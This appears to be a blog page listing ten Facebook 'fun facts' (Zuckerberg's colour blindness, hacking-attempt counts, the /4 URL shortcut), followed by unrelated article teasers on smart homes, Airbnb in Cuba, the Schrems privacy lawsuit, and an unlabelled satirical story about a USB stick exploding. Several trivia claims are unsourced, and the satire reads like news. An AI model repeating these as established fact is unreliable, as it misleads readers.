Surprising Facebook Facts That You Didn’t Know

Facebook with its multi-billion user base, is the biggest social media giant today. But there are some things you might not know about Facebook. Check out our list of Facebook fun facts and know more about the company.

Facebook recently hit the benchmark of 1 billion active users on a single day. The latest analysis by App Annie, the app store analytics firm revealed that Facebook has become the most popular and the most downloaded app of all times. As happy as everyone in the Facebook community (users and employees alike), we decided to get you some fun facts about your beloved social media, which by the way, is almost as severely criticized by some tech and media business houses.

Let’s see some of the Facebook facts, although you might know a few of them:

1. FaceBlue Is It?

Wonder why Facebook is all blue? Facebook issues subtle changes in its interface regularly but never changed from its trademark blue color. It is not because Zuckerberg likes blue, but actually he can’t see other colors that well. He has got a red-green color blindness.

2. Height of Confidence

You would be amazed to see the multi-billion dollar offers that Zuckerberg turned down for his Facebook. Rejecting a $15 billion deal from Microsoft would have required some serious guts. Now, that is called confidence. Read more

3. You Think You Are Safe?

More than 600,000 hacking attempts are made to Facebook accounts every day. Thanks to the Facebook scams, more and more people are now prone to account hacking. Read more

4. Who Was That Guy?

If you happen to be a long term Facebook user (before 2007), then you would remember that sad blue guy on the Facebook’s homepage. It was none other than the legendary Al Pacino in his youth.

5. Talking Dead

Facebook has over 30 million IDs whose owners are supposedly dead, and over 8% over Facebook users are fake. So stop bragging about your friend list now.

6. Oh God!! Even Facebook Tracks Me….

Move over NSA’s spying habits people, even Facebook tracks your web crawling habits. It doesn’t matter if you are logged out. Remember, the allegations on Facebook about tracking your profile through the Rainbow Profile Pictures. Also, all the text you write in the status update box is received at the Facebook servers, even if you do not post it.

7. Wonder Why Zuckerberg Is So Rich?

Facebook’s estimated earnings from every U.S. user are an average of about USD $6. No wonder Zuckerberg is the richest man under 35.

8. Shortcut To Zuckerberg

Just add/4 in the end of the Facebook URL and you will be directed to Mark Zuckerberg’s wall. If you add 5 or 6, you will be directed to other co-founders of Facebook. Wonder why the CEO chose 4 rather than 1 !!

9. How Fast Is Your Like Meter?

Every minute, over 4 million likes are made on Facebook. How fast does your like meter ticks?

10. Whoa.. Watch Your Language Bro!!

Zuckerberg might be a philanthropist now, but he was just a brash guy back in 2004. He bragged about people trusting his website with their personal information while calling us “Dumb F**ks”.

Building a smarter home

The Jetsons presented a highly entertaining vision of what homes of the future would look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s homes and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019, companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...

Airbnb will open its Cuba listings to users outside the United States

Airbnb will now let travelers from outside the U.S. to book properties in Cuba after receiving authorization from the U.S. government, reports the Associated Press . Previously, only Americans were allowed to reserve the site’s Cuban listings . They will open to international users on April 2. Airbnb launched its Cuban operations in April 2014 , four months after the Obama administration revealed that it will begin to restore diplomatic relations with the Communist country . The historic policy change means that travel and trade sanctions will be lifted , which is expected to boost tourism to Cuba dramatically because Americans no longer need licenses to visit. In fact, President Obama is currently on an official visit to Cuba , the first president since Calvin Coolidge to do so. According to the AP, Cuba is currently Airbnb’s fastest-growing market, with about 4,000 homes added since it opened listings. Other travel businesses...

Careless USB removal causes multiple deaths

EIGHTEEN workers have died after a USB stick was removed from a computer without adequate precautions. The offices of Hereford-based Envision Photography were completely destroyed in the ensuing blast. Survivor Norman Steele said: “My colleague Helen had put some files on the stick to work on at home, and she yanked it out of the computer before anyone could scream ‘no’. “I kicked her aside as a jet of white-hot flame belched out of the USB port and set fire to the desk opposite. “Grabbing her, I dived through the window just before all the PCs in the network exploded with purple electricity that fried everyone in the building. “I sprinted to my car, knowing that the printers were already becoming merciless hunter-killer drones, shouting for Helen to follow. “But when I looked round I saw her frozen, something glowing in her hand, the awareness dawning of her fate. She was still holding the USB. “She detonated in a flash of ultraviolet light that turned eve...

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...
